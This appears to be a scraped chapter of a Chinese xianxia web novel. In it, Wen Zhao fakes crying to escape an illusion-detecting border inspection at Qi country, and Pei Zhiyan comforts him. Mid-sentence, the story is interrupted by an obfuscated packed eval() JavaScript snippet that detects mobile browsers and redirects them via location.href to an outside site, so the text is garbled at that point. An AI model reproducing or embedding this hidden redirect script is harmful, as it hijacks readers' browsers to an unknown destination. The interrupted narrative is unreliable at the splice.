榆笙沉痛道:“百里雪孤第二次来天泽宗时,说那大国国主告诉他,公仪师兄是个贼,把他的王后从大国王宫中掳走了,掳走了他的王后还不珍惜,又要娶其他人做道侣,夺妻子恨,必要讨还。” 温昭:“…………” 榆笙继续道:“百里雪孤的话一说,大家都惊呆了。为了不冤枉公仪师兄,在大家的强烈要求下,宗主写信问了雪国国主,百里雪孤的品性如何。雪国国主表示百里雪孤虽说祖上是迁来的,但依然继承了雪国修士美好的品质,值得信任。” “后来大家还是不愿相信公仪师兄竟然是如此负心狂徒,于是在问了雪国国主后,大家又强烈要求宗主给大国的国主写了信。” 温昭:“…………” 榆笙:“相传那大国国主霸道专横,唯我独尊,为人十分难搞,一点也不平易近人,本来大家都不抱希望,没想到那国主竟然回信了。” 温昭:“…………” 榆笙:“你猜那国主信上写了什么?” 温昭想到了当年在大国御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14458074|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花园遇到的那个男人,抽着嘴角问道:“他说什么了?” “那国主说,庭中火樱花已花开六十八载,孤的王后何时能归来?” 榆笙格外沉痛道:“有了大国国主的亲笔来信,如此一来,大家不得不信了,公仪师兄真的是个负心狂徒,负的人还是那个传说中比林悠师兄美上不知多少的美人,这令大家十分心痛和愤怒。” “于是大家这次全都押了公仪师兄是那个死在秘境里的人。” 温昭:“………………” 温昭和师叔祖裴之炎并未在金塘城久留,次日,三人用过饭,便坐上灵舟,离开了金塘城。 他们此行要去的地方,是祈国。 师叔祖接下来准备在祈国刨人祖坟。 原本听着要去祈国刨坟,温昭还有点心情紧张。 裴之炎安慰温昭,如今其他几国都在水深火热之中,那祈国因为变态,倒是一片安好。可见有时候太变态了,也未必是一件坏事。这就好比穿鞋的怕光脚的,横的怕不要命的,不变态的怕变态的。祈国因为太变态,反而能在乱世中偏安一隅,所以他们此行去祈国也不必太忧虑。 温昭:“……” 裴之炎说这话时,三人正在客栈大堂里吃饭,周边人不少。 大家在听了裴之炎的话后,纷纷沉思,而后觉得他说的话未必没有道理,于是大家连忙给在几国准备逃难的亲朋好友传去了可向祈国逃难的消息。 温昭想了想,也认为裴之炎所言有一定道理,于是渐渐不再那么紧张。 灵舟一路向着祈国而去,行了七日后,忽然在空中一顿,接着朝着地面俯冲而下,停在了一处空地上。 由于对这个场景太熟悉,温昭一愣,环顾四周:“这里有我们要刨的坟吗?” 裴之炎闻言,却是笑着摇了摇头,对温昭解释道:“此处是祈国国境处的入口之一,延国出事后,各国都加强了对外来之人的盘查。” 正如裴之炎所说,几个人忽然出现在了三人的眼前。 为首之人一身白袍,面色沉肃:“要入境祈国,还请各位配合盘查。” 温昭心想,原来是盘查,想来师叔祖和裴之炎闯荡江湖很有经验,应该早就做好了身份路引之类,于是温昭跟着二人不慌不忙地下了灵舟。 然而下了灵舟后,温昭却见那几个盘查的人身前的空气一阵涟漪波动,竟是一道光柱凭空出现在了地面上。 温昭看着这道光柱,蓦然睁大了眼睛,心中忽然有不详的预感。 果然就听为首的白袍人道:“此乃照物之术,一切幻术都将在此术之下无所遁形。” “还请三位一一上前,在光柱中接受盘查。” 温昭:“……” 温昭顿时面色僵硬。 裴之炎看着温昭的脸色,以为他害怕,温声道:“别害怕,这照物术不会痛,只需在里面呆上几个呼吸,照一照就过去了。” 温昭心中流泪,这照一照,别人是过去了,他可能就过不去了。 不知道公仪无冽的法器能不能克制这个法器。 如果他这会转身离开,说不去祈国了,会不会被当作做贼心虚,会不会当场被打死? 温昭木然着脸,心中悲怆。 为什么凡界也这么时髦,把修真界的东西用的这么熟练! 不对,守在路口的就是修士,应该说这些修士为毛不好好呆在修真界修行,跑来凡界当什么差。 在温昭心中慌乱时,忽然有个修士敏感地看向温昭:“这个人的脸色似乎有点不对。” 只见这话一出,所有人立刻齐刷刷看向温昭。 温昭:“……” 温昭连忙露出茫然无辜的表情。 有修士随着那人的话看向温昭,继而眼中充满感叹:“这长得眼珠子都对不齐,我就问你这张脸你能看出有什么地方是对的。” 那修士说罢,又有人打量温昭:“啧,怎么长成这个样子的。” 温昭:“……” 只见在几个修士的目光下,温昭脸上倏然落下两滴泪来,而后,越来越多的泪滴无声滚落。 温昭哭了,哭得满脸都是晶莹的泪珠。 所有人:“……” 所有人都被温昭的哭弄得猝不及防,神色失措。 温昭一边哭,一边扭脸看向师叔祖和裴之炎,哭着道:“我不去祈国了。” “啊?” 那几个修士顿时傻眼了。 不会吧,他们把人气哭了? 可是也没说什么特别过分的话吧。 几个修士面面相觑。 “我不去祈国了。”温昭哭得很伤心,“师叔祖,裴之炎,你们先去吧。” 温昭哭得眼前一片模糊,转身哭着跑走,旋即撞到了一个怀里。有人抱住了他,把他抱在了怀里。 温昭埋头在对方怀里,哭得很可怜,滚烫的眼泪仿若断了线的珠子,哭得停不下来。 然后温昭哭着哭着就听见耳边传来了声响,那几个修士被师叔祖和裴之炎出手混合双打了。 温昭听到裴之炎冰寒的声音在头顶响起,让那些人给他道歉。 接着,温昭就听到那几个修士哎哎叫着连连对他道歉。 温昭:“……” 温昭在裴之炎怀中抬了抬眸,在模糊一片的视野中,发现向来眼中含笑的裴之炎好像真的生气了,脸色很难看。他好像第一次看见裴之炎这么发怒。 温昭抬头看他时,他似乎察觉到了温昭的目光,低了低头,难看的脸色却一下变得很温柔,伸出修长的手指擦着温昭脸上的眼泪,低声道:“好,我们先不去祈国了。” 灵舟再次飞上天去,朝着离祈国相反反向的地方飞去。 灵舟上,温昭一边哭一边偷摸着打量了师叔祖和裴之炎,心中十分抱歉。这已经是他超常发挥,想出来最好的解决办法了。 为了演得逼真,温昭在灵舟上也继续哭了一阵,哭得裴之炎和师叔祖都很无措。 裴之炎显然也不擅长哄人,或者是温昭忽然的大哭令他措手不及,他有点无措地哄着温昭道:“别哭了,待会我们就去吃好吃的好不好?” 温昭:“……” 他吃货的形象难道这么深入人心吗? 温昭埋头继续哭,然后哭着哭着把自己哭累了,渐渐趴在灵舟上睡着了。 在温昭睡着后,灵舟在一片庭院中停了下来。 那庭院中的下人听到了响动,连忙奔了出来。 裴之炎吩咐下人照顾师叔祖后,打横将睡着的温昭抱起,走进了一处院子中。 将人放在床上,裴之炎坐在床榻前,望着床上的人,伸手将他眼角的泪拭去。 没想到他今日哭得这么伤心。 是他的错,以为他如此跳脱的性格不在意这些。 裴之炎看着床上的人十分瘦弱,想来这些年过得并不太好。 他垂眸握起了对方的手腕,这一碰,却是面色一顿。 裴之炎低头,看了看温昭右手手腕,看着空无一物,可他却分明碰到了东西。